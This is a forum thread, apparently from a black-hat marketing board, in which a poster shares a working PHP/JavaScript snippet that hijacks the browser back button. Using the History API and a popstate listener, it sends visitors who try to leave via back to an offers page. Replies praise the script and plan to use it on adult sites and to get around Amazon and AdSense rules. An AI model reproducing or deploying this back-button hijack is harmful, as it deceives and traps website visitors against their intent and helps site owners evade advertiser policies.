Redirect Users leaving your site - Javascript back button hack | All CMS Compatible

Repulsor

Senior Member
Joined
Jun 11, 2013
Messages
904
Reaction score
357
Hey,

Was just having some free time, so thought I would make something that may benefit the community.

So, I tinkered this nice little script which works this way
  • You can browse all your page as usual. All pages will work just fine. This is called only when hitting back button is going to take you out of our site.
  • This little javascript will redirect all your users who are exiting your site using back button.
  • Redirects only if you are going out of your site. (When the HTTP_REFERRER is not your site.)
  • Works on direct visits as well. You visit you site, hit the back button, boom, take them to offers page! :D
  • Tested in Wordpress. Just include it in your header file, top.
  • Tested on both Firefox and Chrome

There will be half a second pause, but thats not really noticeable I guess.

You can either wrap it into a js file and insert it to your site headers, or use the code as is.

Code:
<?php
$javascript = <<<DOC
<script>
var ref = document.referrer;
var siteurl = "YOUR URL HERE";//if you have www, then use www. http://www.yoursite.com
if (ref.indexOf(siteurl)!= -1){
}
else{
(function(window, location) {
    history.replaceState(null, document.title, location.pathname+"#!/auth");
    history.pushState(null, document.title, location.pathname);

    window.addEventListener("popstate", function() {
      if(location.hash === "#!/auth") {
        history.replaceState(null, document.title, location.pathname);
        setTimeout(function(){
          location.replace("http://www.blackhatworld.com/");
        },0);
      }
    }, false);
}(window, location));
}
 
</script>
DOC;

echo $javascript;
?>

Most of the code belongs to : http://www.thecssninja.com/javascript/stealing-history-api
I just tinkered it to work this way :)
 
Great Javascript. In place: var siteurl = "YOUR URL HERE" should I put only the main url on all sites, or on each url with precise ending like /post1/
 
Great Javascript. In place: var siteurl = "YOUR URL HERE" should I put only the main url on all sites, or on each url with precise ending like /post1/

Just put your site home url there. That is to make sure that it doesnt hack the back button, if you are visiting pages of your own sites.
 
Last edited:
does this work for websites which are in http and in https?
 
Hi, Firstly I've been looking for this kind of code ages and now I want to ask you I have a web site that has daily 20K visitors but I don't have there Google Adsense. If I will put this code on that site that has 20K visitors daily And crap the JS.code of Google Adsense and to put it there on 20K visitors site did I will be banned from Google Adsense or not.
 
This probably would get me banned from amazon. They need their stupid shit of user agreeing to click to amazon. But thanks, will try this on other advertisers who don't bitch about this. I've got a lot of bouncing users.
 
Wow this is nice, gonna add this to some adult sites I have ASAP.

Also cottonwolf... probably nothing wrong if you take them to a different page that looks like a product page that's REAL easy for them to click through to Amazon... might try that one myself I think.
 
I swear i was looking for something like this for ages, and then boom... i read your post!
Many thanks for this script.
 
Awesome scripts.This is very good to get even more conversions.Thanks a lot mate
 
This is a great and very helpful javascript code. Just tell me one thing that whether it works only for http? or also https?
Thank you :)
 
Hey - thanks for the script - must be doing some wrong though because I can't seem to get this to work at all - installed in the header.php file on my wordpress install and tried it across chrome, firefox and safari and nothing...

Any pointers?
 
Back
Top